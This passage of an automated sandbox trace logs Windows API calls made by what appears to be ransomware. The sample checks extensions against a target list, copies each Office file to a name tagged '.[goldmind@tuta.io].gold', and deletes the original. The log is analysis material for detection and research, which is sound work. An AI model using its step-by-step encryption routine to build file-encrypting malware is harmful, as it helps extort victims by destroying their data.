lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString=".bz2") returned 4 [0107.682] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString=".7z") returned 3 [0107.682] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.682] lstrlenW (lpString=".dbf") returned 4 [0107.682] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.682] lstrlenW (lpString=".1cd") returned 4 [0107.682] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString=".jpg") returned 4 [0107.683] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString=".doc") returned 4 [0107.683] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString=".docx") returned 5 [0107.683] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0107.683] lstrlenW (lpString=".pdf") returned 4 [0107.683] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString=".xls") returned 4 [0107.683] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.683] lstrlenW (lpString=".xlsx") returned 5 [0107.683] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0107.683] lstrlenW (lpString=".ppt") returned 4 [0107.683] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString=".zip") returned 4 [0107.683] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.683] lstrlenW (lpString=".rar") returned 4 [0107.683] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString=".bz2") returned 4 [0107.683] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString=".7z") returned 3 [0107.683] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString=".dbf") returned 4 [0107.683] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString=".1cd") returned 4 [0107.683] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0107.683] lstrlenW (lpString=".jpg") returned 4 [0107.683] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.683] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0107.683] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0107.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.684] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=676) returned 1 [0107.684] CloseHandle (hObject=0x230) returned 1 [0107.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 0x20 [0107.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.684] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.684] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.685] GetLastError () returned 0x0 [0107.685] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x2a4, lpOverlapped=0x0) returned 1 [0107.709] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x2b0, lpOverlapped=0x0) returned 1 [0107.710] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.710] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x104, lpOverlapped=0x0) returned 1 [0107.710] SetEndOfFile (hFile=0x180) returned 1 [0107.728] CloseHandle (hObject=0x180) returned 1 [0107.728] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.728] SetEndOfFile (hFile=0x230) returned 1 [0107.730] CloseHandle (hObject=0x230) returned 1 [0107.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 1 [0107.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.786] lstrlenW (lpString=".doc") returned 4 [0107.786] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0107.786] lstrlenW (lpString=".docx") returned 5 [0107.786] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0107.786] lstrlenW (lpString=".pdf") returned 4 [0107.786] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0107.786] lstrlenW (lpString=".xls") returned 4 [0107.786] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0107.786] lstrlenW (lpString=".xlsx") returned 5 [0107.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0107.786] lstrlenW (lpString=".ppt") returned 4 [0107.786] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0107.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.786] lstrlenW (lpString=".zip") returned 4 [0107.786] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0107.786] lstrlenW (lpString=".rar") returned 4 [0107.786] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0107.786] lstrlenW (lpString=".bz2") returned 4 [0107.786] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0107.786] lstrlenW (lpString=".7z") returned 3 [0107.786] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0107.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.786] lstrlenW (lpString=".dbf") returned 4 [0107.786] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0107.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.786] lstrlenW (lpString=".1cd") returned 4 [0107.786] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0107.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.786] lstrlenW (lpString=".jpg") returned 4 [0107.786] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0107.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.787] lstrlenW (lpString=".doc") returned 4 [0107.787] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0107.787] lstrlenW (lpString=".docx") returned 5 [0107.787] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0107.787] lstrlenW (lpString=".pdf") returned 4 [0107.787] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0107.787] lstrlenW (lpString=".xls") returned 4 [0107.787] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0107.787] lstrlenW (lpString=".xlsx") returned 5 [0107.787] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0107.787] lstrlenW (lpString=".ppt") returned 4 [0107.787] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0107.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.787] lstrlenW (lpString=".zip") returned 4 [0107.787] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0107.787] lstrlenW (lpString=".rar") returned 4 [0107.787] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0107.787] lstrlenW (lpString=".bz2") returned 4 [0107.787] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0107.787] lstrlenW (lpString=".7z") returned 3 [0107.787] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0107.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.787] lstrlenW (lpString=".dbf") returned 4 [0107.787] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0107.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.787] lstrlenW (lpString=".1cd") returned 4 [0107.787] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0107.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0107.787] lstrlenW (lpString=".jpg") returned 4 [0107.787] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0107.787] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0107.787] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0107.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.788] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=205) returned 1 [0107.788] CloseHandle (hObject=0x3b8) returned 1 [0107.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 0x20 [0107.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.788] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.788] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.789] GetLastError () returned 0x0 [0107.789] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xcd, lpOverlapped=0x0) returned 1 [0107.790] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0107.790] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.790] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xee, lpOverlapped=0x0) returned 1 [0107.791] SetEndOfFile (hFile=0x3b0) returned 1 [0107.791] CloseHandle (hObject=0x3b0) returned 1 [0107.791] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.791] SetEndOfFile (hFile=0x3b8) returned 1 [0107.792] CloseHandle (hObject=0x3b8) returned 1 [0107.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 1 [0107.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.793] lstrlenW (lpString=".doc") returned 4 [0107.794] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.794] lstrlenW (lpString=".docx") returned 5 [0107.794] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.794] lstrlenW (lpString=".pdf") returned 4 [0107.794] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString=".xls") returned 4 [0107.794] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString=".xlsx") returned 5 [0107.794] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.794] lstrlenW (lpString=".ppt") returned 4 [0107.794] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString=".zip") returned 4 [0107.794] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString=".rar") returned 4 [0107.794] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString=".bz2") returned 4 [0107.794] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.794] lstrlenW (lpString=".7z") returned 3 [0107.794] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString=".dbf") returned 4 [0107.794] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString=".1cd") returned 4 [0107.794] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString=".jpg") returned 4 [0107.794] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString=".doc") returned 4 [0107.794] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.794] lstrlenW (lpString=".docx") returned 5 [0107.794] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.794] lstrlenW (lpString=".pdf") returned 4 [0107.794] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString=".xls") returned 4 [0107.794] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString=".xlsx") returned 5 [0107.794] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.794] lstrlenW (lpString=".ppt") returned 4 [0107.794] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.794] lstrlenW (lpString=".zip") returned 4 [0107.794] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.795] lstrlenW (lpString=".rar") returned 4 [0107.795] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.795] lstrlenW (lpString=".bz2") returned 4 [0107.795] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.795] lstrlenW (lpString=".7z") returned 3 [0107.795] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.795] lstrlenW (lpString=".dbf") returned 4 [0107.795] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.795] lstrlenW (lpString=".1cd") returned 4 [0107.795] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0107.795] lstrlenW (lpString=".jpg") returned 4 [0107.795] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.795] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.795] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0107.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.795] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=114) returned 1 [0107.795] CloseHandle (hObject=0x3b8) returned 1 [0107.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 0x20 [0107.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.796] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.796] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.797] GetLastError () returned 0x0 [0107.797] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x72, lpOverlapped=0x0) returned 1 [0107.797] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.798] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.798] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0107.798] SetEndOfFile (hFile=0x3b0) returned 1 [0107.798] CloseHandle (hObject=0x3b0) returned 1 [0107.798] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.798] SetEndOfFile (hFile=0x3b8) returned 1 [0107.800] CloseHandle (hObject=0x3b8) returned 1 [0107.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 1 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.801] lstrlenW (lpString=".doc") returned 4 [0107.801] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.801] lstrlenW (lpString=".docx") returned 5 [0107.801] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.801] lstrlenW (lpString=".pdf") returned 4 [0107.801] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.801] lstrlenW (lpString=".xls") returned 4 [0107.801] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.801] lstrlenW (lpString=".xlsx") returned 5 [0107.801] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.801] lstrlenW (lpString=".ppt") returned 4 [0107.801] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.801] lstrlenW (lpString=".zip") returned 4 [0107.801] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.801] lstrlenW (lpString=".rar") returned 4 [0107.801] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.801] lstrlenW (lpString=".bz2") returned 4 [0107.801] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.801] lstrlenW (lpString=".7z") returned 3 [0107.801] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.801] lstrlenW (lpString=".dbf") returned 4 [0107.801] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.801] lstrlenW (lpString=".1cd") returned 4 [0107.801] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.801] lstrlenW (lpString=".jpg") returned 4 